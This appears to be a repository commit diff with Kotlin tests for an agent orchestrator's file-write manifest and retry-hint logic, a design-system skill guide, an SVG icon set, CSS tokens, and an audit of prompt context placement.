* stamps `file_exists` on every entry so a written-then-deleted path that survives here makes
* deleting, and therefore renaming, a permanent contract violation. Live session fced377e deadlocked
* exactly there: the build gate ordered "rename it to use the '.cjs' file extension", the agent
* complied, and the contract gate then failed `file_exists` on the `.js` it had just been told to
* remove 89 turns without converging.
*/
class StageWrittenPathsTest {
private val stage = StageId("scaffold_frontend")
private val other = StageId("review_ui")
@Test
fun `a written-then-deleted path drops out of the manifest`() {
val events = listOf(
invoked("inv1", stage),
wrote("inv1", "frontend/postcss.config.js", "h1"),
invoked("inv2", stage),
deleted("inv2", "frontend/postcss.config.js"),
)
assertEquals(emptyList<String>(), stageWrittenPathsFrom(events, stage))
}
@Test
fun `a rename leaves only the new path`() {
val events = listOf(
invoked("inv1", stage),
wrote("inv1", "frontend/postcss.config.js", "h1"),
invoked("inv2", stage),
wrote("inv2", "frontend/postcss.config.cjs", "h1"),
invoked("inv3", stage),
deleted("inv3", "frontend/postcss.config.js"),
)
assertEquals(listOf("frontend/postcss.config.cjs"), stageWrittenPathsFrom(events, stage))
}
@Test
fun `a path deleted and then rewritten is back in the manifest`() {
val events = listOf(
invoked("inv1", stage),
wrote("inv1", "frontend/vite.config.ts", "h1"),
invoked("inv2", stage),
deleted("inv2", "frontend/vite.config.ts"),
invoked("inv3", stage),
wrote("inv3", "frontend/vite.config.ts", "h2"),
)
assertEquals(listOf("frontend/vite.config.ts"), stageWrittenPathsFrom(events, stage))
}
@Test
fun `surviving writes are unaffected by a sibling deletion`() {
val events = listOf(
invoked("inv1", stage),
wrote("inv1", "frontend/src/App.tsx", "h1"),
invoked("inv2", stage),
wrote("inv2", "frontend/tailwind.config.js", "h2"),
invoked("inv3", stage),
deleted("inv3", "frontend/src/App.css"),
)
assertEquals(
listOf("frontend/src/App.tsx", "frontend/tailwind.config.js"),
stageWrittenPathsFrom(events, stage),
)
}
@Test
fun `another stage's writes stay out of this stage's manifest`() {
val events = listOf(
invoked("inv1", stage),
wrote("inv1", "frontend/src/App.tsx", "h1"),
invoked("inv2", other),
wrote("inv2", "frontend/src/Sessions.tsx", "h2"),
)
assertEquals(listOf("frontend/src/App.tsx"), stageWrittenPathsFrom(events, stage))
assertTrue(stageWrittenPathsFrom(events, other) == listOf("frontend/src/Sessions.tsx"))
}
private var seq = 0L
private fun stored(payload: EventPayload): StoredEvent {
seq++
return StoredEvent(
metadata = EventMetadata(
eventId = EventId("e$seq"),
sessionId = SessionId("s1"),
timestamp = Instant.parse("2026-01-01T00:00:00Z"),
schemaVersion = 1,
causationId = null,
correlationId = null,
),
sequence = seq,
sessionSequence = seq,
payload = payload,
)
}
private fun invoked(invocationId: String, stageId: StageId) = stored(
ToolInvocationRequestedEvent(
invocationId = ToolInvocationId(invocationId),
sessionId = SessionId("s1"),
stageId = stageId,
toolName = "file_write",
tier = Tier.T3,
request = ToolRequest(
invocationId = ToolInvocationId(invocationId),
sessionId = SessionId("s1"),
stageId = stageId,
toolName = "file_write",
parameters = emptyMap(),
),
),
)
private fun wrote(invocationId: String, path: String, hash: String) = stored(
FileWrittenEvent(
invocationId = ToolInvocationId(invocationId),
sessionId = SessionId("s1"),
path = path,
postImageHash = hash,
preExisted = false,
timestampMs = 1L,
),
)
/** A deletion is a [FileWrittenEvent] with no post-image. */
private fun deleted(invocationId: String, path: String) = stored(
FileWrittenEvent(
invocationId = ToolInvocationId(invocationId),
sessionId = SessionId("s1"),
path = path,
postImageHash = null,
preExisted = true,
timestampMs = 1L,
),
)
}
@@ -0,0 +1,86 @@
package com.correx.core.kernel.orchestration
import com.correx.core.events.events.ContextAssembledEvent
import com.correx.core.events.events.ContextManifestEntry
import com.correx.core.events.events.EventMetadata
import com.correx.core.events.events.EventPayload
import com.correx.core.events.events.StoredEvent
import com.correx.core.events.types.EventId
import com.correx.core.events.types.SessionId
import com.correx.core.events.types.StageId
import com.correx.core.kernel.concept.conceptClassKey
import kotlinx.datetime.Clock
import org.junit.jupiter.api.Assertions.assertFalse
import org.junit.jupiter.api.Assertions.assertNotEquals
import org.junit.jupiter.api.Assertions.assertTrue
import org.junit.jupiter.api.Test
import java.util.UUID
/**
* #306: the steer-away hint must fire once per retry occurrence, not on every context rebuild for
* as long as the latest retry stays contradicted. [unconfirmedFixAlreadyDelivered] is the pure fold
* that makes that "already delivered?" question replay-safe (folded over recorded
* [ContextAssembledEvent] manifests, no new mutable state).
*/
class UnconfirmedFixDeliveryTest {
private val sessionId = SessionId("s1")
private fun stored(sessionSequence: Long, payload: EventPayload) = StoredEvent(
metadata = EventMetadata(
eventId = EventId(UUID.randomUUID().toString()),
sessionId = sessionId,
timestamp = Clock.System.now(),
schemaVersion = 1,
causationId = null,
correlationId = null,
),
sequence = sessionSequence,
sessionSequence = sessionSequence,
payload = payload,
)
private fun assembled(sessionSequence: Long, sourceType: String, sourceId: String) = stored(
sessionSequence,
ContextAssembledEvent(
sessionId = sessionId,
stageId = StageId("scaffold_frontend"),
contextPackId = "pack-$sessionSequence",
entries = listOf(
ContextManifestEntry(sourceType, sourceId, tokenEstimate = 10, layer = "L1", role = "USER"),
),
timestampMs = 0L,
),
)
@Test
fun `not yet delivered for a fresh retry`() {
val events = listOf(assembled(1, "unconfirmedFix", "other-class"))
assertFalse(unconfirmedFixAlreadyDelivered(events, afterSequence = 5, classKey = "stage:x"))
}
@Test
fun `delivered once is not delivered again on the next rebuild for the same retry`() {
// retry lands at seq 5; the hint is delivered in the ContextAssembledEvent at seq 6
// (first context build after the retry). A LATER rebuild for that same retry (still the
// latest one, unchanged) must see it already delivered.
val events = listOf(assembled(6, "unconfirmedFix", "stage:x"))
assertTrue(unconfirmedFixAlreadyDelivered(events, afterSequence = 5, classKey = "stage:x"))
}
@Test
fun `a fresh recurrence of the same class after a new retry earns one more delivery`() {
// Prior delivery at seq 6 for the FIRST retry (afterSequence=5). A NEW retry of the same
// class lands later (seq 20) — the delivery check for the new retry only looks after seq 20,
// so the stale seq-6 delivery no longer counts.
val events = listOf(assembled(6, "unconfirmedFix", "stage:x"))
assertFalse(unconfirmedFixAlreadyDelivered(events, afterSequence = 20, classKey = "stage:x"))
}
@Test
fun `a routing dead-end and a build failure never collapse into one classKey`() {
val routing = conceptClassKey("stage", "no transition condition matched from stage scaffold_frontend")
val build = conceptClassKey("build", "no transition condition matched from stage scaffold_frontend")
assertNotEquals(routing, build)
}
}
@@ -73,8 +73,12 @@ data class StageConfig(
get() = if (allowedTools.isEmpty()) allowedTools else allowedTools + ALWAYS_AVAILABLE_READ_TOOLS
companion object {
/** Read-only tools every tool-granting stage may call regardless of its declared set. */
/** Read-only tools every tool-granting stage may call regardless of its declared set.
* `tool_output` is deliberately NOT here it can only retrieve output that has actually been
* spilled to CAS, so the orchestrator adds it on demand (once a spill has occurred) rather than
* advertising a hash-eating tool to every stage that will never spill (context noise that nudges
* models into reasoning about opaque hashes). */
val ALWAYS_AVAILABLE_READ_TOOLS: Set<String> =
setOf("file_read", "list_dir", "glob", "grep", "tool_output")
setOf("file_read", "list_dir", "glob", "grep")
}
}
+8
View File
@@ -0,0 +1,8 @@
{
"$schema": "./node_modules/oxlint/configuration_schema.json",
"plugins": ["react", "typescript", "oxc"],
"rules": {
"react/rules-of-hooks": "error",
"react/only-export-components": ["warn", { "allowConstantExport": true }]
}
}
+125
View File
@@ -0,0 +1,125 @@
---
name: ethos-design
description: Use when building or editing any user interface for an Ethos app (muzick, kdrive, nginx panel, xray manager, kaneo, or any new kvmx.ru app), when authoring or extending components in the @ethos/ui package, or when any frontend/React/HTML/SVG work must carry the Ethos visual identity. Triggers on requests to design a screen, build a component, add an app to the system, restyle existing UI, create icons, or set up per-app theming. Covers the token system, the five laws, the mono/sans split, warm-room depth, per-app accent + motif, the shared shell (desktop + mobile), copy voice, the trap list to refuse, and the render-based verification protocol.
---
# Ethos
Ethos is the shared design language for the kvmx.ru self-hosted apps. One system, one character, many apps. Switching from kdrive to the xray manager should feel like switching tabs in one instrument, not opening a different product.
## The thesis: instruments, not appliances, that don't lie
These apps are tools the operator runs their own infrastructure with — closer to an oscilloscope, a mixing desk, or good anodized audio gear than to a consumer product. Dense where it needs to be, every element earning its place, honest about the machinery instead of papering over it.
But not cold. The move nobody else makes: **warmth AND honesty in one room.** Consumer apps give warmth with no honesty (glossy, hides state behind a spinner). Dev dashboards give honesty with no warmth (cold, dense). Ethos is a calm, warm, well-lit space that still shows real throughput, real queue depth, real bytes. It can do both because the operator is the only user — the apps don't need to sell or hide anything.
Design failure looks like either extreme: a techy grey dashboard, or a glossy blurred-glass consumer screen. Both are the trap.
## The five laws (non-negotiable, shared across every app)
1. **Mono/sans split is law.** Geist Mono for anything the machine owns — ips, ports, hashes, sizes, timestamps, ids, paths, throughput, durations, bitrates, counts, percentages. Geist Sans for anything a human wrote — labels, prose, headings, track/file names. This single rule is the strongest signature; it must read identically across every app. A label is human (sans); its value is machine (mono). `Bitrate` in sans, `1411 kbps` in mono.
2. **Depth from light, not blur.** Elevation comes from soft warm shadows, layered surface steps in the neutral ramp, and 1px hairline borders. Never `backdrop-filter`/frosted glass, never glossy gradients. Reads engineered, not soft, and costs nothing per repaint.
3. **Shared shell.** Identical app frame everywhere — same rail/topbar geometry, same status grammar, same ⌘K command surface. See the shell anatomy below. Per-app difference is only accent + motif, never structure.
4. **Mechanical motion.** 120180ms, `cubic-bezier(0.2, 0, 0, 1)`, no bounce, no spring. Motion confirms a state change and gets out of the way. Respect `prefers-reduced-motion`.
5. **Show the machinery.** Real numbers over spinners. Queue depth, bytes/sec, buffer %, actual progress, indexed counts. A vague "loading…" is the appliance move — never do it. Empty and error states state what's true and what to do, in the interface's voice.
### The balance principle (how the accent behaves)
**Content is the color. Accent is the signal. Shell is quiet.** The apps hold warm content — album art, files, manga panels — and that content carries the color. The shell stays quiet and warm so the content glows. The accent is NOT fill-everything paint; it marks the one thing that matters: active nav, focus rings, primary action, the played portion of a scrubber. If a whole panel is washed in the accent, it's wrong — pull it back.
## Tokens
Single source of truth is `ethos.tokens.css` — the neutral system, the light-theme block, and the per-app override slots, shipped as CSS custom properties. (Generate typed TS from it later if an app wants typed access; the CSS stays authoritative so nothing drifts.) Values below are the dark-theme defaults.
### Neutral ramp — warm, brown-tinted (NOT cool grey, NOT cream)
```
--bg-0: #14110D /* deepest room */
--bg-1: #1B1712 /* surface */
--bg-2: #221D17 /* raised */
--bg-3: #2C261D /* hover / raised */
--bg-4: #372F24 /* pressed / high */
--line: rgba(244,234,220,0.09) /* hairline */
--line-hi: rgba(244,234,220,0.16) /* hairline emphasized */
--text-hi: #F4EEE4 /* human primary */
--text-mid: #B4AA98 /* human secondary */
--text-lo: #756C5C /* human tertiary / idle */
--text-machine: #9C917D /* mono default */
```
### Type
```
--sans: 'Geist', -apple-system, system-ui, sans-serif
--mono: 'Geist Mono', ui-monospace, 'SF Mono', Menlo, monospace
```
Scale: display 3244 / heading 20 / body 1416 / label 1011 uppercase 0.080.12em tracking / machine data 1215 mono. Mono always `font-feature-settings: "tnum" 1, "zero" 1` and slight negative tracking. Headings go editorial and large; let type be a memorable part of the design, not a neutral delivery vehicle.
### Motion / radii / shadow
```
--ease: cubic-bezier(0.2, 0, 0, 1)
--fast: 130ms --med: 170ms
--r-sm: 8px --r-md: 12px --r-lg: 18px --r-xl: 24px
--shadow-soft: 0 2px 8px rgba(0,0,0,.35), 0 12px 32px rgba(0,0,0,.28)
```
Fonts are self-hosted (subset + woff2, immutable caching, served off own nginx). No Google/Vercel font CDN — it phones home and fails the threat model.
## Per-app fingerprint (ask, don't assume)
Each app gets exactly two things of its own — one accent hue and one motif — set in a single `[data-app]` block in `ethos.tokens.css`. Everything else is inherited.
**Do not pick these silently.** When a new app joins the system, run a short intake with the operator before writing any override:
- Ask for the **accent**: a name and a hex. Bring **23 of your own suggestions** grounded in what the app *does* — reason from its function and content, not from a palette wheel — and say why each fits. The operator decides; your suggestions are there to react to.
- Ask for the **motif**: the recurring geometric signature tied to the app's function. Again, offer a couple of options with a one-line rationale each. A motif shows up in the app mark, empty states, loading, the favicon, and one hero moment.
- Once chosen, fill the `[data-app]` TEMPLATE in `ethos.tokens.css` (accent + the derived `-hi/-dim/-line/-glow`) and seed the motif (a symbol in the icon set, plus any gradient hooks).
The one worked example that already exists is **muzick — honey amber `#EDA24E` · waveform**; use it as the reference for how an override block and a motif are shaped, not as a set to copy from. Same skeleton, different soul.
## Shared shell anatomy
**Desktop (≥ 640px):** vertical `Rail` (64px, icon nav, active = accent icon + `accent-dim` bg + 3px accent edge) · `TopBar` (56px, wordmark + ⌘K search + right-aligned machine readouts) · scrollable `Main` · optional docked bar (e.g. muzick's player). Command palette (⌘K) is the shared command surface.
**Mobile (≤ 640px) — shell reflow, same law for every app:**
- Rail → full-width bottom tab bar (thumb reach). Active = accent icon + short top edge mark. Keep to **≤ 5 primary tabs**; fold secondary nav into a parent and push settings into the header. More than 5 is past the thumb ceiling.
- TopBar sheds what it can't afford — the wide machine readouts drop from the header and relocate to where there's room (detail views, per-row values). Honesty is relocated, never deleted.
- Large docked bars collapse to a compact mini (thumb + title + primary action), with any waveform/scrubber condensed to a thin accent progress line. The motif is expressed at whatever scale the form allows.
- Heroes restack to single column: content-art centered and fluid (`aspect-ratio: 1`), heading down a step, spec rows wrap.
## Icons
The set is `ethos-icons.svg` — a `<symbol>` sprite. Reference a glyph with `<use href="/ethos-icons.svg#i-NAME"/>`; color and size come from the consumer. One 24px grid, one stroke width (~1.7), one corner radius, `stroke-linecap/linejoin: round`, `fill: none` line style (filled only for transport glyphs — play, pause, prev, next, more). **Extend by adding a `<symbol>`** on the same grid and hand; never diverge, and never import lucide or a generic pack — that breaks the single-hand rule. Two motif seeds ship in the set (`i-wave`, `i-grid`) to start apps from.
## Copy voice
Words are design material. Name things by what the person controls, not how the system is built — but Ethos still shows machine values, so: the **label** is human (sans, plain), the **value** is honest (mono). Active voice, sentence case, one name per action through the whole flow (a button that says Publish yields a toast that says Published). Errors don't apologize and are never vague — they say what happened and how to fix it. Empty states are invitations to act. Register is terse and plain, no filler.
## Traps to refuse
These are the defaults that make a design generic. Do not ship them, even if asked casually:
- **Frosted glass / `backdrop-filter` over a blurred hero photo** — the 2023 AI-premium tell, and a repaint cost. Depth comes from light instead (law 2).
- **Cream (#F4F1EA) + high-contrast serif + terracotta accent** — the AI-cream default; terracotta near #D97757 also reads as an Anthropic tell.
- **Near-black + one acid-green/vermilion accent** — the other AI default.
- **Accent as wash** — accent filling a whole panel. It's a signal, not paint (balance principle).
- **Spinners / vague "loading…"** — hiding real state. Show the number (law 5).
- **Shadows/glass for elevation instead of hairlines + surface steps.**
- **Absolute-positioned `inset: 0` fill divs for backgrounds.** They stay contained only by a positioned overflow-hidden parent, and escape to the whole viewport in stricter renderers. Put the gradient/background directly on the sized element (the 260px art box, the 52px thumb), not on an inner fill layer. This is a real bug that has shipped.
- **Google/Vercel font CDN** — self-host (law-adjacent, threat model).
- **`localStorage`/`sessionStorage` in sandboxed artifact demos** — fails silently; use in-memory state for demos, sqlite for real apps.
## Build process
Plan → critique → build → **screenshot** → critique → fix. Match complexity to the vision; spend boldness in one place (the motif) and keep everything around it quiet. Before calling something done, remove one accessory.
## Verification protocol (do not skip)
**"Can't see it" means unverified. Never sign off on computed values as a substitute for a render.** Reading back a color or a token value confirms the value parsed; it does NOT confirm the layout, containment, stacking, or overflow. A screen can be completely broken while every computed color is correct.
Before declaring any screen done:
1. Render it and **actually look at the pixels.** Screenshot, view, critique.
2. **Geometry check:** no horizontal overflow (`scrollWidth === clientWidth`); key elements sized and contained (an art box is its own dimensions, not the viewport); nothing painting the full screen that shouldn't.
3. Check **both** desktop and mobile (cross the 640px line) before "done."
4. If you genuinely cannot screenshot, **say so plainly and hand visual sign-off to the human.** Do not fill the gap with confidence. State what you verified (geometry) and what you couldn't (appearance).
+87
View File
@@ -0,0 +1,87 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
ETHOS — icon set
One hand, one grid. Every icon: viewBox 0 0 24 24, stroke="currentColor",
stroke-width 1.7, round caps/joins, fill="none". Transport glyphs (play,
pause, prev, next, more) are the only filled exceptions.
USE: <svg class="icon" width="22" height="22"><use href="/ethos-icons.svg#i-search"/></svg>
color + width/height come from the consumer; the icon inherits them.
EXTEND: add a new <symbol id="i-NAME"> on the same 24px grid, same stroke,
same corner feel. Match the existing hand — do not import lucide or
any other pack. Keep ids prefixed i- and kebab-cased.
-->
<svg xmlns="http://www.w3.org/2000/svg" style="display:none" aria-hidden="true">
<!-- ── app mark / motif seeds ── -->
<symbol id="i-wave" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round">
<path d="M2 12h1M6 8v8M10 4v16M14 7v10M18 5v14M21 11v2"/>
</symbol>
<symbol id="i-grid" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linejoin="round">
<rect x="4" y="4" width="7" height="7" rx="1.5"/><rect x="13" y="4" width="7" height="7" rx="1.5"/>
<rect x="4" y="13" width="7" height="7" rx="1.5"/><rect x="13" y="13" width="7" height="7" rx="1.5"/>
</symbol>
<!-- ── navigation ── -->
<symbol id="i-home" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
<path d="M4 11l8-6 8 6M6 10v9h12v-9"/>
</symbol>
<symbol id="i-listen" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
<path d="M4 18V9l14-3v9"/><circle cx="6" cy="18" r="2.4"/><circle cx="18" cy="15" r="2.4"/>
</symbol>
<symbol id="i-library" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linejoin="round">
<rect x="4" y="4" width="6" height="16" rx="1.5"/><rect x="14" y="4" width="6" height="16" rx="1.5"/>
</symbol>
<symbol id="i-album" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7">
<circle cx="12" cy="12" r="8.5"/><circle cx="12" cy="12" r="2"/>
</symbol>
<symbol id="i-artist" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
<circle cx="12" cy="8" r="4"/><path d="M5 20c0-3.5 3.1-6 7-6s7 2.5 7 6"/>
</symbol>
<symbol id="i-queue" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
<path d="M4 7h11M4 12h11M4 17h7M18 9v8"/><circle cx="18" cy="18.5" r="1.6"/>
</symbol>
<symbol id="i-folder" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linejoin="round">
<path d="M4 7a1 1 0 011-1h4.5l2 2H19a1 1 0 011 1v8a1 1 0 01-1 1H5a1 1 0 01-1-1z"/>
</symbol>
<symbol id="i-file" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linejoin="round">
<path d="M14 3H7a1 1 0 00-1 1v16a1 1 0 001 1h10a1 1 0 001-1V8z"/><path d="M14 3v5h5"/>
</symbol>
<symbol id="i-settings" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
<circle cx="12" cy="12" r="3.2"/><path d="M12 2v3M12 19v3M4.2 4.2l2.1 2.1M17.7 17.7l2.1 2.1M2 12h3M19 12h3M4.2 19.8l2.1-2.1M17.7 6.3l2.1-2.1"/>
</symbol>
<!-- ── transport (filled) ── -->
<symbol id="i-play" viewBox="0 0 24 24" fill="currentColor"><path d="M8 5v14l11-7z"/></symbol>
<symbol id="i-pause" viewBox="0 0 24 24" fill="currentColor"><path d="M8 5h3v14H8zM13 5h3v14h-3z"/></symbol>
<symbol id="i-prev" viewBox="0 0 24 24" fill="currentColor"><path d="M6 6h2v12H6z"/><path d="M20 6v12l-9-6z"/></symbol>
<symbol id="i-next" viewBox="0 0 24 24" fill="currentColor"><path d="M16 6h2v12h-2z"/><path d="M6 6v12l9-6z"/></symbol>
<symbol id="i-shuffle" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
<path d="M16 4h4v4M20 4l-6 6M4 20l16-16M16 20h4v-4M14 14l6 6M4 4l4 4"/>
</symbol>
<symbol id="i-repeat" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
<path d="M17 2l3 3-3 3M20 5H8a4 4 0 00-4 4v1M7 22l-3-3 3-3M4 19h12a4 4 0 004-4v-1"/>
</symbol>
<!-- ── actions / status ── -->
<symbol id="i-search" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round">
<circle cx="11" cy="11" r="7"/><path d="M20 20l-3.5-3.5"/>
</symbol>
<symbol id="i-plus" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round"><path d="M12 5v14M5 12h14"/></symbol>
<symbol id="i-x" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round"><path d="M6 6l12 12M18 6L6 18"/></symbol>
<symbol id="i-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12l4.5 4.5L20 7"/></symbol>
<symbol id="i-chevron-left" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M15 6l-6 6 6 6"/></symbol>
<symbol id="i-chevron-right" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M9 6l6 6-6 6"/></symbol>
<symbol id="i-more" viewBox="0 0 24 24" fill="currentColor"><circle cx="5" cy="12" r="1.6"/><circle cx="12" cy="12" r="1.6"/><circle cx="19" cy="12" r="1.6"/></symbol>
<symbol id="i-bell" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
<path d="M6 9a6 6 0 0112 0c0 5 2 6 2 6H4s2-1 2-6M10 21h4"/>
</symbol>
<symbol id="i-download" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 4v11M8 11l4 4 4-4M5 20h14"/>
</symbol>
<symbol id="i-upload" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 15V4M8 8l4-4 4 4M5 20h14"/>
</symbol>
</svg>

After

Width:  |  Height:  |  Size: 6.2 KiB

+122
View File
@@ -0,0 +1,122 @@
/*
ETHOS tokens
Shared design language for the kvmx.ru apps.
The neutral system (ramp, type, motion, radii, shadow) is shared by
every app and does not change. The only per-app difference is the
accent (one hue) and the motif (one geometric signature).
NEW APP: do not invent the accent silently. Ask the operator for the
accent name + hex and the motif, then add one [data-app] block at the
bottom using the TEMPLATE. Fonts are self-hosted (subset + woff2,
immutable caching) no font CDN.
*/
@font-face {
font-family: 'Geist';
src: url('/fonts/Geist-Variable.woff2') format('woff2');
font-weight: 100 900; font-display: swap;
}
@font-face {
font-family: 'Geist Mono';
src: url('/fonts/GeistMono-Variable.woff2') format('woff2');
font-weight: 100 900; font-display: swap;
}
:root {
/* ── neutral ramp — warm, brown-tinted (dark, default) ── */
--bg-0: #14110D; /* deepest room */
--bg-1: #1B1712; /* surface */
--bg-2: #221D17; /* raised */
--bg-3: #2C261D; /* hover / raised */
--bg-4: #372F24; /* pressed / high */
--line: rgba(244, 234, 220, 0.09); /* hairline */
--line-hi: rgba(244, 234, 220, 0.16); /* hairline emphasized */
--text-hi: #F4EEE4; /* human primary (sans) */
--text-mid: #B4AA98; /* human secondary (sans) */
--text-lo: #756C5C; /* human tertiary / idle */
--text-machine: #9C917D; /* machine default (mono) */
/* ── type ── */
--sans: 'Geist', -apple-system, system-ui, sans-serif;
--mono: 'Geist Mono', ui-monospace, 'SF Mono', Menlo, monospace;
/* mono numerics: apply on any element using --mono */
/* font-feature-settings: "tnum" 1, "zero" 1; letter-spacing: -0.01em; */
/* ── motion — mechanical, no bounce ── */
--ease: cubic-bezier(0.2, 0, 0, 1);
--fast: 130ms;
--med: 170ms;
/* ── radii ── */
--r-sm: 8px;
--r-md: 12px;
--r-lg: 18px;
--r-xl: 24px;
/* ── elevation: depth from light, never blur ── */
--shadow-soft: 0 2px 8px rgba(0,0,0,0.35), 0 12px 32px rgba(0,0,0,0.28);
--shadow-lift: 0 4px 14px rgba(0,0,0,0.40), 0 20px 48px rgba(0,0,0,0.34);
/* accent slot
Neutral fallback so an app with no [data-app] is never unstyled.
Real values come from the per-app block below. Accent is a SIGNAL
(active state, focus ring, primary action, one lit detail) never a
fill-everything wash. */
--accent: var(--text-mid);
--accent-hi: var(--text-hi);
--accent-dim: rgba(244, 234, 220, 0.10);
--accent-line: rgba(244, 234, 220, 0.24);
--accent-glow: rgba(244, 234, 220, 0.14);
}
/* ── light theme — warm, off-white (kept off cream to dodge the AI-cream tell) ── */
[data-theme="light"] {
--bg-0: #F1ECE3;
--bg-1: #EAE4D8;
--bg-2: #E2DACB;
--bg-3: #D7CDBB;
--bg-4: #C9BDA7;
--line: rgba(28, 22, 14, 0.10);
--line-hi: rgba(28, 22, 14, 0.18);
--text-hi: #1B1712;
--text-mid: #544C3E;
--text-lo: #877E6C;
--text-machine: #6B6252;
--shadow-soft: 0 2px 8px rgba(60,45,25,0.10), 0 12px 32px rgba(60,45,25,0.08);
--shadow-lift: 0 4px 14px rgba(60,45,25,0.12), 0 20px 48px rgba(60,45,25,0.10);
}
/*
PER-APP OVERRIDES one small block each. Accent + optional motif
hooks only; never touch the neutral ramp.
*/
/* muzick — reference app · honey amber · waveform */
[data-app="muzick"] {
--accent: #EDA24E;
--accent-hi: #F5B667;
--accent-dim: rgba(237, 162, 78, 0.14);
--accent-line: rgba(237, 162, 78, 0.32);
--accent-glow: rgba(237, 162, 78, 0.22);
/* motif hook: cool content-art gradient so art carries color, amber stays signal */
--np-art: radial-gradient(120% 120% at 22% 14%, #7FB3BC 0%, #2F6E7A 42%, #1C4552 78%, #14262E 100%);
}
/* TEMPLATE copy for a new app AFTER intake with the operator
[data-app="APPNAME"] {
--accent: #RRGGBB; // the operator's chosen hue
--accent-hi: #RRGGBB; // ~ +1014% lightness
--accent-dim: rgba(R, G, B, 0.14); // active-state backgrounds
--accent-line: rgba(R, G, B, 0.32); // accent hairlines
--accent-glow: rgba(R, G, B, 0.22); // restrained ambient pool
// optional motif hooks (gradients / seeds) go here, app-specific
}
*/
@@ -0,0 +1,73 @@
# Audit — ContextEntry role/layer placement (Vikunja #312)
**Date:** 2026-07-26 · **Scope:** every `ContextEntry` producer on the orchestrator stage path.
**Output:** table + recommendations. No code changes.
## How placement actually resolves
`PromptRenderer.render` (core/inference/.../PromptRenderer.kt):
1. **Any** entry with `layer == L0` **or** `role == SYSTEM` → folded into the single leading
system message, ordered by `(layer.ordinal, entry.ordinal)`. Role is irrelevant at L0.
2. Everything else renders inline as its own message, ordered by `entry.ordinal`
(layer priority is a tiebreak only when all ordinals are 0 — router chat).
3. `sourceType == "steeringNote"` **and** SYSTEM-folded → additionally re-emitted as a trailing
user "Reminder" turn.
4. `sourceType ∈ repairMandateSourceTypes` (currently `{"retryFeedback"}`) → pulled out of the
inline flow and emitted as the **final** message, role user.
So there are three destinations, not four: **leading system fold**, **inline transcript**,
**trailing user slot**. `EntryRole.SYSTEM` is not "high salience" — it is "buried at the top".
## Inventory
| Entry (sourceType) | Producer | Current layer/role → renders as | Recommended | Rationale |
|---|---|---|---|---|
| `retryFeedback` | ContextFeedback.kt:34 | L1/USER → **trailing** | keep | Reference implementation (#293). |
| `recoveryTicket` | ContextFeedback.kt:118 | L1/SYSTEM → **system fold** | **→ USER + trailing** | ⚠️ Highest-value defect. The recovery stage exists *only* because of this ticket, and its mandate ends up above the whole transcript. Same shape as `retryFeedback`; got the opposite treatment. |
| `remainingDelta` | ContextFeedback.kt:186 | L1/SYSTEM → **system fold** | **→ USER + trailing** | ⚠️ Loop-state, recomputed every turn a write lands. It is the stage's completion signal and it is buried, *and* mutating it invalidates the cached system prefix each turn — the one cache anti-pattern #312 asked to flag. Trailing is both more salient and cache-safe. |
| `groundingFeedback` | ContextFeedback.kt:89 | L1/SYSTEM → **system fold** | **→ USER + trailing** | Gate verdict on a returned plan; "emit a corrected plan" is a repair mandate by any reading. |
| `rejectionFeedback` | SessionOrchestratorContext.kt:117 | L2/SYSTEM → **system fold** | **→ USER + trailing** | Literally operator voice ("the operator declined"). Escalation-grade; the user channel is where it belongs. |
| `steeringNote` (locked) | Context.kt:80 | L0/SYSTEM → system fold **+ trailing anchor** | keep | Already double-anchored. |
| `steeringNote` (unlocked) | Context.kt:94, ToolExec.kt:528 | L2/USER → **inline** | keep, note inconsistency | The renderer's anchor only catches the SYSTEM variant, so the two steering paths get different salience. Cosmetic, not load-bearing. |
| `artifactRepair` | Artifacts.kt:132 | L2/USER → inline, but **sole entry** in its pack | keep | Isolated tools-less pack; already the last (only) message. |
| `criticFeedback` / `neededArtifact` | Context.kt:444 | L1/USER → **inline** | keep | Stage *input*, not a mid-loop correction. Trailing slot should not carry inputs. |
| `unconfirmedFix` | Concepts.kt:107 | L1/USER → inline | keep | Advisory, not a mandate. |
